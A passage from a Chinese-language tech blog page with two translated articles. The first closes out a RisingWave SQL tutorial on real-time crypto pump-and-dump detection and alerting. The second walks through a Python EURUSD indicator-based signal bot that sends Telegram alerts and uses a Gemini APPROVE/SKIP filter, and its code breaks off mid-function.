泵是由积极的买入驱动的，而抛售是由卖出驱动的。buy_ratio（买入量 / 总成交量）给我们一个清晰的指标。接近 1.0 的比率表明购买狂潮，而接近 0 的比率表明抛售。

综合特征

最后，我们将这些信号整合成一个综合特征视图。此视图计算成交量的最终 Z 分数和买入比率，为我们提供了规则引擎所需的全部要素。

CREATE MATERIALIZED VIEW flow_features AS
SELECT
  b.pair_id,
  b.bucket_start,
  b.ret_1m, b.ret_5m,
  b.vol, b.buy_vol, b.sell_vol,
  CASE WHEN (b.buy_vol + b.sell_vol) > 0
       THEN b.buy_vol / (b.buy_vol + b.sell_vol) ELSE NULL END AS buy_ratio,
  v.vol_mean_30m, v.vol_std_30m,
  CASE
    WHEN v.vol_std_30m IS NULL OR v.vol_std_30m = 0 THEN NULL
    ELSE (b.vol - v.vol_mean_30m) / v.vol_std_30m
  END AS z_vol
FROM bar_1m_with_returns b
LEFT JOIN vol_baseline_30m v
  ON v.pair_id = b.pair_id AND v.bucket_start = b.bucket_start;

3、做出判断 - 评分和触发警报

现在我们有了特征，可以定义一个简单且可解释的规则来标记可疑活动。

Pump/Dump规则

我们的规则简单透明：

• 如果 1 分钟回报率 ≥ 2% 并且成交量 Z 分数 ≥ 3 并且买入比率 ≥ 0.65，则可能是泵。
• 如果 1 分钟回报率 ≤ -2% 并且成交量 Z 分数 ≥ 3 并且买入比率 ≤ 0.35，则可能是抛售。

这些阈值（2%，3，0.65）是可调参数，可以根据市场状况进行调整。我们可以使用 CASE WHEN 语句实现此逻辑。

CREATE MATERIALIZED VIEW pump_dump_signals AS
SELECT
  pair_id,
  bucket_start,
  ret_1m, ret_5m, vol, z_vol, buy_ratio,
  CASE WHEN ret_1m IS NOT NULL AND z_vol IS NOT NULL AND buy_ratio IS NOT NULL
            AND ret_1m >= 0.02 AND z_vol >= 3 AND buy_ratio >= 0.65
       THEN 1 ELSE 0 END AS is_pump,
  CASE WHEN ret_1m IS NOT NULL AND z_vol IS NOT NULL AND buy_ratio IS NOT NULL
            AND ret_1m <= -0.02 AND z_vol >= 3 AND buy_ratio <= 0.35
       THEN 1 ELSE 0 END AS is_dump
FROM flow_features;

防止警报疲劳（冷却期）

一次泵事件可能会在连续几小时内触发我们的规则。为了避免向用户或系统发送重复警报，我们必须实施“冷却期”或“去抖动”机制。如果某个市场在过去 15 分钟内没有警报，我们才会发出警报。

这个查询更高级，但优雅地处理了每个对的最后警报时间的状态逻辑。

CREATE MATERIALIZED VIEW pump_dump_alerts AS
WITH raw AS (
  SELECT * FROM pump_dump_signals
  WHERE is_pump = 1 OR is_dump = 1
),
ranked AS (
  SELECT
    pair_id,
    bucket_start,
    is_pump, is_dump,
    ROW_NUMBER() OVER (PARTITION BY pair_id ORDER BY bucket_start DESC) AS rn
  FROM raw
)
SELECT r.*
FROM ranked r
LEFT JOIN LATERAL (
  -- 此对的最后警报时间
  SELECT MAX(bucket_start) AS last_ts
  FROM raw r2
  WHERE r2.pair_id = r.pair_id AND r2.bucket_start < r.bucket_start
) prev ON TRUE
WHERE r.rn = 1 AND (prev.last_ts IS NULL OR r.bucket_start >= prev.last_ts + INTERVAL '15 minutes');

4、采取行动 - 传递最终警报

一旦潜在的泵或抛售事件被确认并通过我们的 pump_dump_alerts 视图去抖动，下一步就是将此信息传递给下游系统，以便采取行动。RisingWave 提供了两种强大的机制：通过 订阅 的直接推送模型和通过 Sink 的数据集成模型。

• 使用 订阅 用于紧密耦合、低延迟、事件驱动的服务，您希望立即响应警报。
• 使用 Sink 用于更广泛的数据集成，当您需要可靠地将警报传递给多个系统，或者当您需要 Kafka 等消息队列的持久性和重放功能时。

选项 1：使用 RisingWave 订阅进行直接推送

对于最低延迟和最简单的架构，您可以使用 订阅。此功能允许您的下游应用程序（如通知服务、Telegram 机器人或实时仪表板）直接“订阅”物化视图中的更改。当我们的 pump_dump_alerts 视图中生成新的警报时，RisingWave 会直接将更改推送到您的连接应用程序。

这种方法非常适合构建事件驱动的服务，因为它消除了中介消息队列的需要，从而降低了延迟和运营开销。您的应用程序将使用标准的 PostgreSQL 驱动程序连接到 RisingWave 并监听新的警报行。

要启用此功能，您首先需要在最终的警报视图上创建一个订阅：

CREATE SUBSCRIPTION alert_sub FROM alerts_payload;

您的应用程序可以连接并获取实时发生的警报。

选项 2：将数据下沉到消息队列

更传统的方法是使用 Sink，它将 RisingWave 中的数据更改推送到外部系统，如 Apache Kafka。这种方法非常适合解耦系统，提供消息队列中的持久存储，并将警报扇出到多个独立的消费者应用程序。

首先，我们为警报创建一个干净、丰富的负载。

CREATE MATERIALIZED VIEW alerts_payload AS
SELECT
  a.pair_id, a.bucket_start,
  a.is_pump, a.is_dump,
  f.ret_1m, f.ret_5m, f.vol, f.z_vol, f.buy_ratio
FROM pump_dump_alerts a
JOIN flow_features f
  ON f.pair_id = a.pair_id AND f.bucket_start = a.bucket_start;

接下来，我们创建一个 sink 将数据发送到 Kafka 主题。这也可以轻松配置为 webhook、对象存储或另一个数据库。

CREATE SINK pump_dump_alerts_sink
FROM alerts_payload
WITH (
  connector = 'kafka',
  topic = 'alerts.pump_dump',
  properties.bootstrap.server = 'localhost:9092'
) FORMAT PLAIN ENCODE JSON (
    force_append_only = 'true'
);

5、从代码到系统：生产就绪的考虑事项

虽然这提供了一个完整且可工作的系统，但在生产环境中还需要考虑以下几点：

• 处理数据缺陷： 水印对于管理迟到的数据和确保正确性至关重要。根据您的源的典型延迟调整水印间隔。
• 调整和回测： 评分规则中使用的阈值并非普遍适用。它们应根据历史数据进行调整。您可以将所有 flow_features 数据下沉到分析数据库中，以找到平衡不同市场精度和召回率的最佳参数。
• 稀疏市场： 对于流动性差的对，成交量和回报指标可能非常嘈杂。考虑使用我们讨论过的 active_pairs 过滤器，或者在 Z 分数计算中使用更稳健的统计方法，如中位数和平均绝对偏差（MAD）而不是均值和标准差。

6、结束语

仅通过几个声明性的 SQL 查询，我们就构建了一个复杂且实时的事件检测系统。我们接收了一个高容量的数据流，进行了状态化、时间窗口化的计算，并将可操作的警报推送到外部系统。这展示了像 RisingWave 这样的流数据库处理复杂、实时分析任务的能力，这些任务曾经是复杂定制代码的领域。

从这里，这个系统可以进一步扩展：

• 结合订单簿数据： 分析诸如买卖价差扩大、市场深度和价格滑点等特征，以获得更稳健的信号。
• 集成外部信号： 将价格/成交量动作与社交媒体情绪或新闻公告流结合起来。
• 应用机器学习： 使用计算出的特征训练一个轻量级分类模型（如逻辑回归或梯度提升树）以产生更细致的泵-抛售评分。

原文链接：Building a Real-Time Crypto Pump-and-Dump Detector with SQL

DefiPlot翻译整理，转载请标明出处

我想要一个小型的机器人来帮我监控 EURUSD，遵循一套明确的规则，并且只在市场看起来良好的时候发送清晰的警报。我并不是试图预测未来或建立一个神奇的赚钱机器。我只是想要结构。这个想法很简单：让机器人做枯燥的部分，遵守规则，并避免过度交易。

大多数基础机器人一旦有任何指标交叉就会触发。这可能是一个单一的 EMA 交叉或一个简单的 RSI 水平。在实际交易中，你从不依赖于一个因素。你会看趋势、动量、波动性、蜡烛大小，甚至一天中的时间。我希望我的机器人更像一个耐心的交易者。它应该等待多个条件达成一致，然后才发送信号。

为了使它更有趣，我在基于规则的逻辑之上添加了一个小的 Gemini AI 过滤器。机器人计算设置，构建最近市场状况的快照，并询问 Gemini 是否环境看起来足够干净还是太混乱。Gemini 只能说 APPROVE 或 SKIP。如果它批准，信号就会通过。如果它跳过，机器人会忽略该设置并继续前进。

1、工作原理

这个机器人是用 Python 编写的，并在一个简单的循环中运行。它使用 yfinance 获取 EURUSD 蜡烛数据，使用 pandas 和 numpy 处理数据，使用 pytz 处理时区，使用 requests 与 Telegram 通信。如果存在 Gemini API 密钥，脚本还会导入 google.generativeai 库并启用 AI 过滤器。如果密钥缺失或未安装该库，机器人将不带 AI 层运行，并退回到纯基于规则的系统。

在脚本的顶部，我保存了所有主要的设置。机器人在 1 分钟的时间框架上监视 EURUSD 符号。我定义 EMA 快速和慢速周期为 9 和 21，RSI 周期为 14，MACD 快速、慢速和信号周期，以及布林带参数。我还设置了检查间隔为 60 秒，因此主循环每分钟运行一次。

另一个重要的参数是 ONE_SIGNAL_PER_HOUR。当此标志打开时，机器人将在每个小时开始时尝试创建新信号。这意味着它仍然每分钟唤醒一次，但除非当前分钟是零，否则会忽略详细的信号逻辑。这保持了警报的稀有性和易于跟踪。

2、将机器人连接到 Telegram

我希望机器人感觉像一个通知流，而不是一个复杂的终端程序。因此，所有输出都发送到 Telegram 聊天。在脚本中，一个小的帮助函数构建对 Telegram Bot API 的请求，发送消息，并打印响应状态。

每当机器人启动时，它会发送一条简短的消息，说明高级 EURUSD 信号机器人已上线，并且仅用于演示和教育用途。稍后，当出现新信号或交易结果准备就绪时，机器人会发送一条清晰的消息，包含方向、价格、时间和信号原因。每天结束时，它还会发送一个简短的每日总结，包括盈利和亏损。

3、从 Yahoo Finance 获取 EURUSD 数据

每次机器人想检查信号时，它首先从 Yahoo Finance 获取新鲜的 EURUSD 数据。它下载两天的一分钟蜡烛，以便所有指标都有足够的历史数据进行计算。然后函数清理数据并确保有一个适当的 Close 列。Yahoo Finance 有时会返回多级列，所以代码处理这种情况并选择一个有效的 Close 系列。

如果数据缺失、为空或不包含可用的 Close 列，机器人会打印错误并跳过该周期。如果数据看起来良好，它将继续并添加指标。

4、添加 EMA、RSI、MACD 和布林带

一旦清洁的价格数据准备好，机器人会添加技术指标。首先，它在 Close 价格上计算 EMA 9 和 EMA 21。这两条线显示短期方向并帮助检测交叉。

接下来，它使用基于指数移动平均的平滑收益和损失公式计算 RSI。这会给出一个介于 0 和 100 之间的值，显示市场目前是上涨还是下跌，以及是否进入更极端的区域。

然后，机器人通过从快速 EMA 中减去慢速 EMA 来计算 MACD，构建信号线，并获取 MACD 直方图作为它们之间的差异。直方图显示动量有多强以及方向如何。

最后，它通过取移动平均线并加上或减去标准差的倍数来计算布林带。机器人存储中间带、上带和下带。这使得策略能够看到价格是否被压在近期范围的顶部或底部，并避免在极端波动中买入。

所有指标添加完成后，脚本删除具有缺失值的行，因此每根剩余的蜡烛都有完整的特征集。

5、交易时间和每日总结

机器人使用迪拜时间作为其主要时钟。它只在周一至周五的 11:00 至 22:00 迪拜时间之间交易。如果当前时间在此窗口之外或如果是周末，机器人只是打印一条消息并不会寻找新的交易。

该脚本还跟踪每日表现。它存储日期、胜利次数和失败次数。每次循环运行时，它都会检查迪拜的日期是否发生变化。如果新的一天开始了，机器人会向 Telegram 发送前一天的每日总结，然后重置新一天的计数器。

6、使用五分钟趋势过滤器

这个机器人的一项主要改进是更高时间框架的趋势过滤器。机器人将一分钟的收盘价重新采样为五分钟的蜡烛，然后对重新采样的系列应用 20 个周期的 EMA。如果最后五分钟的收盘价高于这个 EMA，趋势被认为是上升的。如果低于，则认为是下降的。如果没有足够的五分钟数据来计算稳定的 EMA，该函数返回 nothing 并且机器人跳过该次交易。

信号逻辑尊重这个趋势过滤器。只有在五分钟趋势向上时，机器人才允许发出 CALL 信号；只有在五分钟趋势向下时，机器人才允许发出 PUT 信号。这有助于避免与市场主要方向相反的交易。

7、蜡烛实体过滤器和时间过滤器

在机器人决定信号之前，它还会检查当前蜡烛实体的大小。如果 Open 列可用，它会测量 Open 和 Close 的绝对差，并将其与最近二十个蜡烛的平均实体大小进行比较。如果当前实体相对于最近的平均值太小，机器人会将其视为能量不足或犹豫不决的蜡烛并跳过。

时间过滤器随后检查交易窗口。如果不在我之前定义的迪拜时间范围内，机器人会忽略任何潜在的信号。这确保了所有交易符合特定的日常安排，而不是全天候运行。

8、信号逻辑的工作方式

当时间合适且数据准备就绪时，机器人会查看 DataFrame 中的最后两根蜡烛。它读取当前和前一个 EMA 快速和慢速值，当前 RSI，当前 MACD 直方图，当前布林带上下带和当前价格。

对于可能的 CALL 设置，快速 EMA 必须在最新蜡烛上交叉高于慢速 EMA，而在前一根蜡烛上低于或等于。五分钟趋势必须向上。RSI 必须处于健康的牛市范围内，不要太低，也不要极度超买。MACD 直方图必须为正，这表示向上动量。最后，当前价格必须低于上布林带，这样机器人就不会在已经涨到范围顶部的尖峰中买入。

对于可能的 PUT 设置，条件是镜像的。快速 EMA 必须交叉低于慢速 EMA。五分钟趋势必须向下。RSI 必须位于合理的熊市范围内，不要太高的，也不要深度超卖。MACD 直方图必须为负，这表示向下动量。价格必须高于下布林带，这样机器人就不会在价格已经暴跌到底部后卖出。

如果这些完整条件集中的任何一个都没有满足，机器人会打印一条消息，说明这一根蜡烛没有信号，并且什么也不做。

9、Gemini AI 过滤器

当基于规则的信号出现并通过所有条件时，机器人会构建一个紧凑的快照给 Gemini。它会获取最后五十根一分钟蜡烛，并记录三个列表：最近的收盘价、最近的 RSI 值和最近的 MACD 直方图值。它还包括信号的方向、五分钟趋势、当前价格、当前 RSI、当前 MACD 直方图、当前布林带上下带、当前蜡烛实体大小、最近的平均实体大小和迪拜时间。

这个快照会被转换成一个提示，发送给 Gemini 模型。提示告诉 Gemini，这是一个用于基于规则的机器人的教学用的过滤器。它不允许提供财务建议、谈论真实资金或建议仓位大小。它只能做一个决定：APPROVE 或 SKIP。它必须在第一行输出这个决定，然后在第二行给出一个非常简短的解释，说明环境看起来是否干净且方向明确，或者混乱且杂乱无章。

如果 Gemini 被禁用或调用失败，函数默认返回 APPROVE。这样机器人就像一个正常的基于规则的系统一样运行。如果 Gemini 返回 SKIP，机器人会忽略信号并不开仓。如果 Gemini 返回 APPROVE，机器人会继续正常的入场逻辑并将信号发送到 Telegram。

10、跟踪交易和评估结果

每当信号最终被批准时，机器人会将交易存储在一个列表中。每个条目包含蜡烛时间、入场价格、方向（CALL 或 PUT）以及交易打开的迪拜时间。在 DataFrame 中，机器人定义了到期时间为一分钟后的一个固定数量的蜡烛。在设置中，这个值被设为 5，因此逻辑上的到期时间是在入场蜡烛后的五个一分钟后。

交易的评估发生在检查新信号的同一函数中。然而，由于 ONE_SIGNAL_PER_HOUR 是开启的，该函数只在迪拜当前分钟为零时运行其主要逻辑。这意味着实际上，机器人围绕每个小时的顶部对交易评估进行了分组。代码仍然使用 DataFrame 中的五个蜡烛距离来决定比较哪个价格，但实际的检查是在下一个小时周期中进行的，此时加载了新的数据。

当有足够的数据覆盖到期蜡烛时，机器人会将退出价格与入场价格进行比较。对于 CALL 交易，如果退出价格高于入场价则计为胜利。对于 PUT 交易，如果退出价格低于入场价则计为胜利。然后它会发送一条详细的信息到 Telegram，包含入场价格和时间、退出价格和时间以及结果。根据这个结果，它更新当天的胜利或失败计数器。

import os  
import time  
from datetime import datetime, timedelta, date  
import requests  
import numpy as np  
import pandas as pd  
import yfinance as yf  
import pytz  
import traceback  

# 尝试导入 Gemini 客户端  
try:  
    import google.generativeai as genai  
    GEMINI_API_KEY = os.getenv("GEMINI_API_KEY")  
    if GEMINI_API_KEY:  
        genai.configure(api_key=GEMINI_API_KEY)  
        GEMINI_ENABLED = True  
        print("Gemini AI 过滤器已启用。")  
    else:  
        GEMINI_ENABLED = False  
        print("GEMINI_API_KEY 未设置。Gemini AI 过滤器已禁用。")  
except ImportError:  
    GEMINI_ENABLED = False  
    print("google-generativeai 未安装。Gemini AI 过滤器已禁用。")  

# ========== 配置 ==========  
PAIR = "EURUSD=X"            # 在 Yahoo Finance 上的 EURUSD  
INTERVAL = "1m"              # 1 分钟蜡烛  

EMA_FAST = 9  
EMA_SLOW = 21  

RSI_PERIOD = 14  
MACD_FAST = 12  
MACD_SLOW = 26  
MACD_SIGNAL = 9  

BB_PERIOD = 20  
BB_STD = 2  

CHECK_EVERY_SECONDS = 60     # 每分钟检查一次  

EXIT_CANDLES = 5             # 到期需要多少个 1m 蜡烛 (5 分钟)  
ONE_SIGNAL_PER_HOUR = True   # 如果为 True，则只在每小时开始时允许信号  

# ======== Telegram 设置 ========  
TELEGRAM_BOT_TOKEN = "yours"  
TELEGRAM_CHAT_ID = "yourchatid"  
# =============================  

dubai_tz = pytz.timezone("Asia/Dubai")  

# 全局状态  
last_candle_time = None  
open_trades = []  # 字典列表: {entry_time, entry_price, direction, dubai_time_open}  

# 每日统计  
stats_date = None      # 类型: date  
wins_today = 0  
losses_today = 0  

# ========== Telegram 辅助程序 ==========  
def send_telegram_message(text: str):  
    """  
    向您的 Telegram 聊天发送纯文本消息。  
    """  
    url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"  
    payload = {  
        "chat_id": TELEGRAM_CHAT_ID,  
        "text": text  
    }  
    try:  
        r = requests.post(url, json=payload, timeout=10)  
        print("Telegram 状态:", r.status_code, "-", r.text)  
        if r.status_code != 200:  
            print("发送 Telegram 消息出错:", r.text)  
    except Exception as e:  
        print("Telegram 发送错误:", e)  

# ========== 数据获取 ==========  
def fetch_data() -> pd.DataFrame:  
    """  
    从 Yahoo Finance 获取最近的 EURUSD 蜡烛。  
    标准化列以确保始终有一个可用的 'Close' 列。  
    """  
    try:  
        df = yf.download(  
            PAIR,  
            period="2d",  
            interval=INTERVAL,  
            auto_adjust=False,  
            progress=False  
        )  
    except Exception as e:  
        print("从 Yahoo Finance 获取数据出错:", e)  
        return pd.DataFrame()  

    if df is None:  
        print("Yahoo Finance 返回 None")  
        return pd.DataFrame()  

    if isinstance(df, pd.Series):  
        df = df.to_frame("Close")  

    if not isinstance(df, pd.DataFrame):  
        print("从 yfinance 得到意外的数据类型:", type(df))  
        return pd.DataFrame()  

    if df.empty:  
        print("Yahoo Finance 返回空 DataFrame")  
        return pd.DataFrame()  

    # 如果列是 MultiIndex，选择一个 Close 列  
    if isinstance(df.columns, pd.MultiIndex):  
        if ("Close", PAIR) in df.columns:  
            df = df.copy()  
            df["Close"] = df[("Close", PAIR)]  
        else:  
            close_cols = [c for c in df.columns if c[0] == "Close"]  
            if close_cols:  
                df = df.copy()  
                df["Close"] = df[close_cols[0]]  
            else:  
                print("无法在 MultiIndex 数据中找到 Close 列")  
                return pd.DataFrame()  
    else:  
        if "Close" not in df.columns:  
            print("数据中没有 Close 列")  
            return pd.DataFrame()  

    df = df.dropna()  
    return df  

# ========== 指标 ==========  
def compute_rsi(close: pd.Series, period: int) -> pd.Series:  
    delta = close.diff()  
    gain = delta.clip(lower=0)  
    loss = -delta.clip(upper=0)  

    avg_gain = gain.ewm(alpha=1 / period, adjust=False).mean()  
    avg_loss = loss.ewm(alpha=1 / period, adjust=False).mean()  

    rs = avg_gain / (avg_loss + 1e-10)  
    rsi = 100 - (100 / (1 + rs))  
    return rsi  

def compute_macd(close: pd.Series, fast: int, slow: int, signal: int):  
    ema_fast = close.ewm(span=fast, adjust=False).mean()  
    ema_slow = close.ewm(span=slow, adjust=False).mean()  
    macd = ema_fast - ema_slow  
    signal_line = macd.ewm(span=signal, adjust=False).mean()  
    hist = macd - signal_line  
    return macd, signal_line, hist  

def compute_bollinger(close: pd.Series, period: int, std_mult: float):  
    ma = close.rolling(period).mean()  
    std = close.rolling(period).std()  
    upper = ma + std_mult * std  
    lower = ma - std_mult * std  
    return ma, upper, lower  

def add_indicators(df: pd.DataFrame) -> pd.DataFrame:  
    """  
    在 DataFrame 中添加 EMA 9、EMA 21、RSI、MACD、布林带。  
    """  
    if df is None or df.empty:  
        return pd.DataFrame()  

    df = df.copy()  

    close_raw = df["Close"]  

    # 如果 Close 是 DataFrame (罕见情况)，取第一列  
    if isinstance(close_raw, pd.DataFrame):  
        close_col = close_raw.iloc[:, 0]  
    else:  
        close_col = close_raw  

    close = pd.to_numeric(close_col, errors="coerce")  
    close = pd.Series(close, index=df.index)  

    # EMAs  
    ema_fast = close.ewm(span=EMA_FAST, adjust=False).mean()  
    ema_slow = close.ewm(span=EMA_SLOW, adjust=False).mean()  
    df["ema_fast"] = ema_fast  
    df["ema_slow"] = ema_slow  

    # RSI  
    df["rsi"] = compute_rsi(close, RSI_PERIOD)  

    # MACD  
    macd, macd_signal, macd_hist = compute_macd(close, MACD_FAST, MACD_SLOW, MACD_SIGNAL)  
    df["macd"] = macd  
    df["macd_signal"] = macd_signal  
    df["macd_hist"] = macd_hist  

    # 布林带  
    bb_ma, bb_upper, bb_lower = compute_bollinger(close, BB_PERIOD, BB_STD)  
    df["bb_ma"] = bb_ma  
    df["bb_upper"] = bb_upper  
    df["bb_lower"] = bb_lower  

    # 删除具有任何 NaN 的行  
    df = df.dropna()  
    return df  

# ========== 每日统计 ==========  
def check_and_reset_daily_stats():  
    """  
    如果迪拜日期改变，发送前一天的摘要并重置计数器。  
    """  
    global stats_date, wins_today, losses_today  

    now_dubai = datetime.now(dubai_tz)  
    today = now_dubai.date()  

    if stats_date is None:  
        # 第一次初始化  
        stats_date = today  
        wins_today = 0  
        losses_today = 0  
        return  

    if today != stats_date:  
        # 新的一天开始，发送前一天的摘要  
        summary = (  
            f"📊 前一天的每日摘要 {stats_date.isoformat()} (迪拜时间)\n"  
            f"胜利: {wins_today}\n"  
            f"失败: {losses_today}"  
        )  
        print(summary)  
        send_telegram_message(summary)  

        # 重置新一天  
        stats_date = today  
        wins_today = 0  
        losses_today = 0  

# ========== 时间过滤器 ==========  
def is_good_trading_time(now_dubai: datetime) -> bool:  
    """  
    仅在主要外汇时间交易:  
    周一至周五，迪拜时间 11:00 至 22:00。  
    """  
    weekday = now_dubai.weekday()  # 0 = 星期一，6 = 星期日  
    if weekday >= 5:  
        return False  
    hour = now_dubai.hour  
    return 11 <= hour < 22  

# ========== 五分钟趋势 ==========  
def get_5m_trend(df: pd.DataFrame) -> str:  
    """  
    使用重新采样的五分钟蜡烛上的 EMA 确定五分钟趋势。  
    返回 "UP"、"DOWN" 或 None。  
    """  
    if df is None or df.empty:  
        return None  

    # 使用 Close 进行五分钟重新采样  
    close_1m = df["Close"]  
    if isinstance(close_1m, pd.DataFrame):  
        close_1m = close_1m.iloc[:, 0]  
    close_1m = pd.to_numeric(close_1m, errors="coerce")  

    df_5m = close_1m.resample("5T").last().dropna()  
    if len(df_5m) < 30:  
        return None  

    ema_5m = df_5m.ewm(span=20, adjust=False).mean()  
    last_close = df_5m.iloc[-1]  
    last_ema = ema_5m.iloc[-1]  

    if last_close > last_ema:  
        return "UP"  
    elif last_close < last_ema:  
        return "DOWN"  
    else:  
        return None  

# ========== 交易评估 ==========  
def evaluate_open_trades(df: pd.DataFrame):  
    """  
    检查是否有任何开放交易已完成 EXIT_CANDLES 蜡烛，  
    然后发送 WIN 或 LOSS 结果并更新每日统计。  
    """  
    global open_trades, wins_today, losses_today  

    if df is None or df.empty:  
        return  

    if len(open_trades) == 0:  
        return  

    index_list = list(df.index)  
    trades_to_remove = []  

    for trade in open_trades:  
        entry_time = trade["entry_time"]  
        direction = trade["direction"]  
        entry_price = float(trade["entry_price"])  

        if entry_time not in df.index:  
            continue  

        try:  
            entry_idx = index_list.index(entry_time)  
        except ValueError:  
            continue  

        exit_idx = entry_idx + EXIT_CANDLES  # 在 1 分钟图表上到期  

        if exit_idx >= len(df):  
            continue  

        exit_candle = df.iloc[exit_idx]  
        exit_price = float(exit_candle["Close"])  

        # 决定赢或输  
        if direction == "CALL":  
            result = "WIN" if exit_price > entry_price else "LOSS"  
        else:  # PUT  
            result = "WIN" if exit_price < entry_price else "LOSS"  

        dubai_time_open = trade["dubai_time_open"]  
        dubai_time_close = dubai_time_open + timedelta(minutes=EXIT_CANDLES)  

        msg = (  
            f"关于 {direction} EURUSD 交易的结果\n"  
            f"入场价格: {entry_price:.5f} 在 {dubai_time_open.strftime('%Y-%m-%d %H:%M:%S')} 迪拜时间\n"  
            f"在 {EXIT_CANDLES} 分钟后退出: {exit_price:.5f} 在 {dubai_time_close.strftime('%Y-%m-%d %H:%M:%S')} 迪拜时间\n"  
            f"结果: {result}"  
        )  
        print(msg)  
        send_telegram_message(msg)  

        # 更新统计  
        if result == "WIN":  
            wins_today += 1  
        else:  
            losses_today += 1  

        trades_to_remove.append(trade)  

    for t in trades_to_remove:  
        if t in open_trades:  
            open_trades.remove(t)  

# ========== Gemini AI 过滤器辅助程序 ==========  

def build_ai_snapshot(df: pd.DataFrame,  
                      direction: str,  
                      trend_5m: str,  
                      rsi_now: float,  
                      macd_hist_now: float,  
                      price_now: float,  
                      bb_upper_now: float,  
                      bb_lower_now: float,  
                      body_size: float,  
                      avg_body: float,  
                      now_dubai: datetime) -> dict:  
    """  
    为 AI 过滤器构建最近市场状况的紧凑快照。  
    我们保持它小巧，以便提示轻量。  
    """  
    recent = df.tail(50).copy()  

    # 限制为浮点数，保留合理的精度以避免巨大的字符串  
    closes = [float(x) for x in recent["Close"].round(5).tolist()]  
    rsis = [float(x) for x in recent["rsi"].round(2).tolist()]  
    macd_hists = [float(x) for x in recent["macd_hist"].round(6).tolist()]  

    snapshot = {  
        "direction": direction,  
        "trend_5m": trend_5m,  
        "price_now": float(price_now),  
        "rsi_now": float(rsi_now),  
        "macd_hist_now": float(macd_hist_now),  
        "bb_upper_now": float(bb_upper_now),  
        "bb_lower_now": float(bb_lower_now),  
        "body_size": float(body_size),  
        "avg_body": float(avg_body),  
        "recent_closes": closes,  
        "recent_rsi": rsis,  
        "recent_macd_hist": macd_hists,  
        "time_dubai": now_dubai.strftime('%Y-%m-%d %H:%M:%S'),  
    }  
    return snapshot  

def ask_gemini_should_trade(snapshot: dict) -> tuple[str, str]:  
    """  
    询问 Gemini 是否应 APPROVE 或 SKIP 此信号。  

    返回:  
        (decision, explanation)  
        - decision: "APPROVE" 或 "SKIP"  
        - explanation: 简短的人类可读原因  

    如果 Gemini 被禁用或出错，我们默认返回 APPROVE，这样机器人像以前一样运行。  
    这仅用于教育/演示用途，不是财务建议。  
    """  
    if not GEMINI_ENABLED:  
        return "APPROVE", "Gemini 过滤器已禁用。"  

    prompt = f"""  
你是一个教育交易助手，帮助过滤来自基于规则的 EURUSD 机器人的信号。  
你**不允许**提供财务建议、利润保证或仓位规模指导。  
你只决定这个信号看起来是否足够干净可以考虑，或者应该被跳过。  

数据（最近的 EURUSD 条件）：  

方向: {snapshot['direction']}  # CALL 表示买入，PUT 表示卖出  
五分钟趋势方向（来自 EMA）: {snapshot['trend_5m']}  
当前价格: {snapshot['price_now']}  
当前 RSI (1m): {snapshot['rsi_now']}  
当前 MACD 直方图 (1m): {snapshot['macd_hist_now']}  
当前布林带上限: {snapshot['bb_upper_now']}  
当前布林带下限: {snapshot['bb_lower_now']}  
当前蜡烛实体大小: {snapshot['body_size']}  (最近 20 个实体的平均值: {snapshot['avg_body']})  
本地时间 (迪拜): {snapshot['time_dubai']}  

最近的收盘价 (1m，最近的最后，最多 50 个值):  
{snapshot['recent_closes']}  

最近的 RSI 值 (1m):  
{snapshot['recent_rsi']}  

最近的 MACD 直方图值 (1m):  
{snapshot['recent_macd_hist']}  

你的任务:  
1. 决定这个信号看起来是否处于相对干净、方向明确的环境，还是混乱、不稳定或范围内的环境。  
2. 保持保守。如果你不确定，优先跳过。  
3. 输出正好两行:  
   - 第一行: 无论是 APPROVE 还是 SKIP (大写)。  
   - 第二行: 一个简短的句子解释你的决定，从教育的角度。  

记住:  
- 不要提及真实资金。  
- 不要告诉用户进行交易、调整仓位或承诺好的结果。  
- 你的答案只是一个教育过滤器，叠加在现有的基于规则的机器人之上。  
"""  

    try:  
        model = genai.GenerativeModel("gemini-1.5-flash")  
        response = model.generate_content(prompt)  
        text = (response.text or "").strip()  
        if not text:  
            return "APPROVE", "AI 返回空响应，默认为 APPROVE。"  

        lines = [line.strip() for line in text.splitlines() if line.strip()]  
        decision = lines[0].upper() if lines else "APPROVE"  
        if decision not in ("APPROVE", "SKIP"):  
            decision = "APPROVE"  
        explanation = lines[1] if len(lines) > 1 else "AI 没有解释。"  
        return decision, explanation  
    except Exception as e:  
        print("Gemini 在 ask_gemini_should_trade 中出错:", repr(e))  
        return "APPROVE", "AI 过滤器出错，默认为 APPROVE。"  

# ========== 信号逻辑 ==========  
def format_dubai_time_short(dt: datetime) -> str:  
    """  
    格式化时间如 2:55pm (没有前导零，小写 am/pm)。  
    """  
    return dt.strftime("%I:%M%p").lstrip("0").lower()  

def check_for_signal():  
    """  
    每根蜡烛的逻辑:  
    - 检查每日重置  
    - 获取数据  
    - 添加指标  
    - 评估现有交易  
    - 检查新多过滤器信号 (CALL/PUT)  
    - 可选: 询问 Gemini AI 是否应 APPROVE 或 SKIP  
    - 每小时模式: 如果 ONE_SIGNAL_PER_HOUR 为 True，则只在每小时开始时触发信号  
    """  
    global last_candle_time, open_trades  

    # 1) 每日摘要检查  
    check_and_reset_daily_stats()  

    now_dubai = datetime.now(dubai_tz)  

    # 仅在每小时开始时允许信号，如果启用  
    if ONE_SIGNAL_PER_HOUR:  
        if now_dubai.minute != 0:  
            print(f"{now_dubai} - 不是每小时开始，跳过信号检查。")  
            return  

    # 2) 获取数据  
    df = fetch_data()  
    if df is None or df.empty:  
        print(f"{now_dubai} - 从 Yahoo Finance 未收到数据")  
        return  

    # 3) 指标  
    df = add_indicators(df)  
    if df is None or df.empty:  
        print(f"{now_dubai} - 指标后数据不足")  
        return  

    # 4) 评估之前的开放交易  
    evaluate_open_trades(df)  

    # 5) 需要至少 3 根蜡烛  
    if len(df) < 3:  
        print(f"{now_dubai} - 信号检查蜡烛不足")  
        return  

    latest = df.iloc[-1]  
    prev = df.iloc[-2]  

    candle_time = latest.name  
    price_now = float(latest["Close"])  

    ema_fast_now = float(latest["ema_fast"])  
    ema_slow_now = float(latest["ema_slow"])  
    ema_fast_prev = float(prev["ema_fast"])  
    ema_slow_prev = float(prev["ema_slow"])  

    rsi_now = float(latest["rsi"])  
    macd_hist_now = float(latest["macd_hist"])  
    bb_upper_now = float(latest["bb_upper"])  
    bb_lower_now = float(latest["bb_lower"])  

    # 蜡烛实体大小过滤器 (固定为浮点数)  
    if "Open" in df.columns:  
        open_now = float(latest["Open"])  
